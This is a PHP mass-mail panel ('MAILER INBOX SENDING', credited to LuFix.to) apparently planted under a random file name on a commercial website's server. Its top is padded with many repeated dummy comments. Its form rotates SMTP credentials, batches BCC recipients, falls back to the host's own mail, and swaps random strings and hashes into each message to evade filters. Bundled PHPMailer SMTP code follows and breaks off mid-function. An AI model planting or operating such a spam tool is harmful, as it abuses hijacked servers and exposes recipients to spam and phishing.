File: /var/www/vhosts/aceitunaslosada.com/web/xhouf.php
<?php
error_reporting(0);
set_time_limit(0);
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
// This is a single-line comment
# This is also a single-line comment
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
/*
This is a
multi-line comment
*/
/* This line assigns the string "Hello World" to the variable $variable */
function lufClear($text,$email){
$e = explode('@', $email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
$message_base="Message Here";$action="";$message="ilpasha";$emaillist="your_email@yahoo.com";$from="";$reconnect="0";$epriority="";$my_smtp="";$ssl_port="587";$encodety="";$replyto="";$subject="Yes";$realname="Yes Man";$subject_base="Subject Here";$realname_base="Support";$contenttype="";$isbcc="";$nbcc="50";$default_system="";$from_base="";$debg="0";$pause=0;$pemails=0;$nm=0;$nopose=true;$nrotat=0;$curentsmtp=0;$canrotat=false;$allsmtps="";$lase="";$reading=false;$repaslog=false;$uploadfile="";
if(!empty($_POST))
{
$debg=lrtrim($_POST['dbg']);
if(!empty($_POST['from']))
{
$from=lrtrim($_POST['from']);
$from_base =$from;
}
$action=lrtrim($_POST['action']);
$message=lrtrim($_POST['message']);
$message_base=lrtrim($_POST['message']);
$emaillist=lrtrim($_POST['emaillist']);
$reconnect=lrtrim($_POST['reconnect']);
$epriority=lrtrim($_POST['epriority']);
$my_smtp=lrtrim($_POST['my_smtp']);
$subject=lrtrim($_POST['subject']);
$realname=lrtrim($_POST['realname']);
$subject_base=lrtrim($_POST['subject']);
$realname_base=lrtrim($_POST['realname']);
$contenttype=lrtrim($_POST['contenttype']);
$encodety=$_POST['encodety'];
if(!empty($_POST['pause']))
$pause=$_POST['pause'];
if(!empty($_POST['replyto']))
$replyto=lrtrim($_POST['replyto']);
if(!empty($_POST['nrotat']))
$nrotat=$_POST['nrotat'];
if(!empty($_POST['pemails']))
$pemails=$_POST['pemails'];
if(!empty($_POST['lase']))
$lase=true;
if(!empty($_POST['nbcc']))
$nbcc=lrtrim($_POST['nbcc']);
$allsmtps = preg_split("/\r\n|\r|\n/", $my_smtp);
if(!empty($_POST['readingconf']))
$reading=true;
if(!empty($_POST['repaslog']))
$repaslog=true;
}
?>
<html>
<head>
<title>PHP Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script
src="https://code.jquery.com/jquery-3.1.1.min.js"
integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
crossorigin="anonymous"></script>
<style type="text/css">
#more {display: none;}
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
.td1 {
width:150px;
}
</style>
</head>
<body text="#000000">
<script>
function readmore() {
var dots = document.getElementById("dots");
var moreText = document.getElementById("more");
var btnText = document.getElementById("readmorebtn");
if (dots.style.display === "none") {
dots.style.display = "inline";
btnText.innerHTML = "Read more";
moreText.style.display = "none";
} else {
dots.style.display = "none";
btnText.innerHTML = "Read less";
moreText.style.display = "inline";
}
}
$(document).ready(function(){
$("#patb").click(function(){
if($("#az").prop( "checked" ) || $("#AZ").prop( "checked" ) || $("#09").prop( "checked" ) && $("#len").val() != "")
{
$("#patval").val("");
$("#patval").val($("#patval").val() + "##");
if($("#az").prop( "checked" ))
{
$("#patval").val($("#patval").val() + "az-");
}
if($("#AZ").prop( "checked" ))
{
$("#patval").val($("#patval").val() + "AZ-");
}
if($("#09").prop( "checked" ))
{
$("#patval").val($("#patval").val() + "09-");
}
if($("#len").val() != "")
{
$("#patval").val($("#patval").val() + "{"+$("#len").val()+ "}");
}
$("#patval").val($("#patval").val() + "##");
}
else $("#patval").val("");
});
$("#add").click(function(){
if($('#my_smtp').html()=="")
$('#my_smtp').html($('#ip').val()+':'+$('#ssl_port').val()+':'+$('#user').val()+':'+$('#pass').val()+":"+$('input[name=SSLTLS]:checked').val());
else
$('#my_smtp').html($('#my_smtp').html()+$('#ip').val()+':'+$('#ssl_port').val()+':'+$('#user').val()+':'+$('#pass').val()+":"+$('input[name=SSLTLS]:checked').val());
if($('input[name=isbcc]').prop('checked')) $('#my_smtp').html($('#my_smtp').html()+':BCC');
else $('#my_smtp').html($('#my_smtp').html()+':NOBCC');
$('#my_smtp').html($('#my_smtp').html()+'n');
$('#user').val("");
$('#pass').val("");
$('input[name=SSLTLS]').prop('checked', false);
});
$("#reset").click(function(){
$('#my_smtp').html('');
});
$("input[name=lase]").click(function(){
if($('input[name=lase]').prop('checked'))
{
$('input[name=from]').attr('disabled','disabled');
$('input[name=from]').val('');
}
else
$('input[name=from]').removeAttr('disabled');
});
$("input[name=repaslog]").click(function(){
if($('input[name=repaslog]').prop('checked'))
{
$('input[name=replyto]').attr('disabled','disabled');
$('input[name=replyto]').val('');
}
else
$('input[name=replyto]').removeAttr('disabled');
});
});
</script>
<p align="center"><font size="5" face="Bauhaus 93">MAILER INBOX SENDING</font><font color="#FFFFFF" size="5" face="Bauhaus 93">LFX</font></p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#2079cd" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font> <font face="Arial" size="2" color="red">DEBUG LVL</font>
<select name="dbg">
<option value="0" <?php echo ($debg == "0") ? 'selected=selected':''; ?>>OFF</option>
<option value="1" <?php echo ($debg == "1") ? 'selected=selected':''; ?>>1</option>
<option value="2" <?php echo ($debg == "2") ? 'selected=selected':''; ?>>2</option>
<option value="3" <?php echo ($debg == "3") ? 'selected=selected':''; ?>>3</option>
<option value="4" <?php echo ($debg == "4") ? 'selected=selected':''; ?>>4</option>
</select></b></td>
</tr>
<tr>
<td height="22" bgcolor="#E8E8E8" class="td1">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Host:</font></div>
</td>
<td height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" id="ip" name="ip" value="" size="30">
</font></td>
<td height="22" bgcolor="#E8E8E8" rowspan="2">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP CONFIG:</font></div>
</td>
<td height="22" bgcolor="#E8E8E8" rowspan="2">
<textarea readonly type="text" id="my_smtp" name="my_smtp" cols="45" rows="3" style="float:left;"><?php echo $my_smtp;?></textarea><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><SPAN style="display:block;float:left;"> Every </span><input name="nrotat" type="text" style="width:50px;float:left;" value="<?php echo $nrotat;?>"> EMAIL'S
</font><br><br><br><input type="button" name="reset" id="reset" value="reset"></td>
</tr>
<tr>
<td class="td1" height="22" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP LOGIN:</font></div>
</td>
<td height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" id="user" name="user" value="" size="30"><br>
<input type="password" id="pass" name="pass" value="" size="30"><BR>
</font></td>
<td height="22" bgcolor="#E8E8E8">
</td>
</tr>
<tr>
<td class="td1" height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
</td>
<td height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="ssl_port" id="ssl_port" value="<?php echo $ssl_port;?>" size="5"> <input type="button" name="add" id="add" value="add smtp"></font></td>
<td height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SEND PAUSE:</font></div>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8" ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="pause" value="<?php echo $pause;?>" style="width:50px;"/> sec evrey <input type="text" name="pemails" value="<?php echo $pemails;?>" style="width:50px;"/> email's <span style="color:red;">(1 bcc = 1 email)<span>
</font></td>
</tr>
<tr>
<td class="td1" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td height="22" bgcolor="#E8E8E8">
<input type="radio" name="SSLTLS" value="SSL"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(SSL)</font>
<input type="radio" name="SSLTLS" value="TLS"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(TLS)</font>
<input type="radio" name="SSLTLS" value="NON"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(NON)</font>
</td>
<td height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">RECONNECT
AFTER:</font></td>
<td height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="reconnect" value="<?php echo $reconnect;?>" size="5">
EMAILS</font></td>
</tr>
<tr>
<td class="td1" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">IS BCC:</font>
</td>
<td height="22" bgcolor="#E8E8E8">
<input type="checkbox" name="isbcc" value="true" <?php if($isbcc=="true") echo "checked"; ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
<td height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">NUM OF EMAIL IN BCC :</font></td>
<td height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="nbcc" value="<?php echo $nbcc;?>" size="5">
EMAIL'S</font></td>
</tr>
<tr>
<td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
<p align="center">
<font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> IF
YOU DON'T HAVE SMTP LOGIN INFORMATION'S, LEAVE BLANK TO SEND WITH LOCALHOST <b>"</b></font></td>
</tr>
<tr>
<td class="td1" height="19">
</td>
<td height="19"> </td>
<td width="31%" height="19">
</td>
<td width="41%" height="19"> </td>
</tr>
<tr>
<td width="100%" colspan="4" bgcolor="#2079cd" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td class="td1" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?php if(!$lase) echo $from_base;?>" size="30" <?php if($lase) echo "disabled"?> >
<input type="checkbox" name="lase" value="true" <?php if($lase) echo "checked"; ?> >EMAIL as LOGIN
</font></td>
<td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?php echo $realname_base;?>" size="30">
</font></td>
</tr>
<tr>
<td class="td1" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?php if(!$repaslog) echo $replyto;?>" size="30" <?php if($repaslog) echo "disabled";?>><input type="checkbox" name="repaslog" value="true" <?php if($repaslog) echo "checked"; ?> >REPLY as LOGIN
<input type="checkbox" name="readingconf" value="true" <?php if($reading) echo "checked"; ?> >CONFIRM READING
</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" <?php if(strlen($epriority)< 1){print "selected";} ?> >
NO PRIORITY</option>
<option value="1" <?php if($epriority == "1"){print "selected";} ?> >HIGH</option>
<option value="3" <?php if($epriority == "3"){print "selected";} ?> >NORMAL</option>
<option value="5" <?php if($epriority == "5"){print "selected";} ?> >LOW</option>
</select></td>
</tr>
<tr>
<td class="td1" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Subject:</font></div>
</td>
<td height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<?php echo $subject_base;?>" size="90">
</font></td><td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FF0000">
ENCODE SENDING </font>/ CHARSET :</font></td><td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select size="1" name="encodety">
<option value="no" <?php if($encodety == "no"){print "selected";} ?>>NO</option>
<option value="8bit" <?php if($encodety == "8bit"){print "selected";} ?>>8bit</option>
<option value="7bit" <?php if($encodety == "7bit"){print "selected";} ?>>7bit</option>
<option value="binary" <?php if($encodety == "binary"){print "selected";} ?>>binary</option>
<option value="base64" <?php if($encodety == "base64"){print "selected";} ?>>base64</option>
<option value="quoted-printable" <?php if($encodety == "quoted-printable"){print "selected";} ?>>quoted-printable</option>
</select><select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" selected="">NO CHARSET</option>
<option value="us-ascii">Unicode -> us-ascii</option>
<option value="utf-7">Unicode -> utf-7</option>
<option value="utf-8">Unicode -> utf-8</option>
<option value="iso-10646-ucs-2">Unicode -> iso-10646-ucs-2</option>
<option value="iso-8859-6">Arabic -> iso-8859-6</option>
<option value="x-mac-arabic">Arabic -> x-mac-arabic</option>
<option value="windows-1256">Arabic -> windows-1256</option>
<option value="iso-8859-4">Baltic -> iso-8859-4</option>
<option value="windows-1257">Baltic -> windows-1257</option>
<option value="iso-8859-2">Central European -> iso-8859-2</option>
<option value="x-mac-ce">Central European -> x-mac-ce</option>
<option value="windows-1250">Central European -> windows-1250</option>
<option value="euc-cn">Chinese -> euc-cn</option>
<option value="gb2312">Chinese -> gb2312</option>
<option value="hz-gb-2312">Chinese -> hz-gb-2312 </option>
<option value="x-mac-chinesesimp">Chinese -> x-mac-chinesesimp</option>
<option value="cp-936">Chinese -> cp-936</option>
<option value="big5">Chinese -> big5</option>
<option value="x-mac-chinesetrad">Chinese -> x-mac-chinesetrad</option>
<option value="cp-950">Chinese -> cp-950</option>
<option value="cp-932">Chinese -> cp-932</option>
<option value="euc-tw">Chinese -> euc-tw</option>
</select></td>
</tr>
<tr>
<td class="td1" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Generateur:</font></div></td>
<td width="35%" colspan="" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
(a-z)<input type="checkbox" name="az" id="az">
(A-Z)<input type="checkbox" name="AZ" id="AZ">
(0-9)<input type="checkbox" name="09" id="09">
(LENHGT)<input type="text" maxlength=2 size=1 name="len" id="len">
(#PATTERN)<input type="text" name="patval" id="patval">
<input type="button" value="GET PATTERN" id="patb" name="patb">
</td>
<td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif" >
ATTACH :</font>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"></font><input name="userfile" type="file"></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" value=""cols="60" rows="10"><?php echo $message_base;?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" >
TEXT
<input type="radio" name="contenttype" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input type="submit" value="Send Message">
</font></td>
<td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" value="" cols="30" rows="10"><?php echo $emaillist;?></textarea>
</font></td>
</tr>
</table>
</form>
<div id="well" class="well well">
<h4>HELP<span id="dots">...</span></h4>
<button onclick="readmore()" id="readmorebtn">Read more</button>
<span id="more">
<ul>
<li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
<ul>
<li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
<li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
</ul>
<li>[-time-] : <b>Date and Time</b> (03/04/2021 02:41:23 pm)</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Receiver Email = <b>user@domain.com</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
<li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
</span>
</div>
<?php print "<p class="style1">PHP Mailer © ".date("Y").", <b><font color="#800000">BY LuFix.to</font><span style="color:red"> Site: LuFix.to<br></span></b></p>"; ?>
</body>
</html>
<?php
class SMTP
{
/**
* The PHPMailer SMTP version number.
* @var string
*/
const VERSION = '5.2.17';
/**
* SMTP line break constant.
* @var string
*/
const CRLF = "rn";
/**
* The SMTP port to use if one is not specified.
* @var integer
*/
const DEFAULT_SMTP_PORT = 25;
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @var integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Debug level for no output
*/
const DEBUG_OFF = 0;
/**
* Debug level to show client -> server messages
*/
const DEBUG_CLIENT = 1;
/**
* Debug level to show client -> server and server -> client messages
*/
const DEBUG_SERVER = 2;
/**
* Debug level to show connection status, client -> server and server -> client messages
*/
const DEBUG_CONNECTION = 3;
/**
* Debug level to show all messages
*/
const DEBUG_LOWLEVEL = 4;
/**
* The PHPMailer SMTP Version number.
* @var string
* @deprecated Use the `VERSION` constant instead
* @see SMTP::VERSION
*/
public $Version = '5.2.17';
/**
* SMTP server port number.
* @var integer
* @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
* @see SMTP::DEFAULT_SMTP_PORT
*/
public $SMTP_PORT = 25;
/**
* SMTP reply line ending.
* @var string
* @deprecated Use the `CRLF` constant instead
* @see SMTP::CRLF
*/
public $CRLF = "rn";
/**
* Debug output level.
* Options:
* * self::DEBUG_OFF (`0`) No debug output, default
* * self::DEBUG_CLIENT (`1`) Client commands
* * self::DEBUG_SERVER (`2`) Client commands and server responses
* * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
* * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
* @var integer
*/
public $do_debug = self::DEBUG_OFF;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* <code>
* $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* </code>
* @var string|callable
*/
public $Debugoutput = 'echo';
/**
* Whether to use VERP.
* @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Info on VERP
* @var boolean
*/
public $do_verp = false;
/**
* The timeout value for connection, in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
* @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
* @var integer
*/
public $Timeout = 300;
/**
* How long to wait for commands to complete, in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @var integer
*/
public $Timelimit = 300;
/**
* @var array patterns to extract smtp transaction id from smtp reply
* Only first capture group will be use, use non-capturing group to deal with it
* Extend this class to override this property to fulfil your needs.
*/
protected $smtp_transaction_id_patterns = array(
'exim' => '/[0-9]{3} OK id=(.*)/',
'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/',
'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/'
);
/**
* The socket for the server connection.
* @var resource
*/
protected $smtp_conn;
/**
* Error information, if any, for the last SMTP command.
* @var array
*/
protected $error = array(
'error' => '',
'detail' => '',
'smtp_code' => '',
'smtp_code_ex' => ''
);
/**
* The reply the server sent to us for HELO.
* If null, no HELO string has yet been received.
* @var string|null
*/
protected $helo_rply = null;
/**
* The set of SMTP extensions sent in reply to EHLO command.
* Indexes of the array are extension names.
* Value at index 'HELO' or 'EHLO' (according to command that was sent)
* represents the server name. In case of HELO it is the only element of the array.
* Other values can be boolean TRUE or an array containing extension options.
* If null, no HELO/EHLO string has yet been received.
* @var array|null
*/
protected $server_caps = null;
/**
* The most recent reply received from the server.
* @var string
*/
protected $last_reply = '';
/**
* Output debugging info via a user-selected method.
* @see SMTP::$Debugoutput
* @see SMTP::$do_debug
* @param string $str Debug string to output
* @param integer $level The debug level of this message; see DEBUG_* constants
* @return void
*/
protected function edebug($str, $level = 0)
{
if ($level > $this->do_debug) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $level);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[rn]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>n";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/(rn|r|n)/ms', "n", $str);
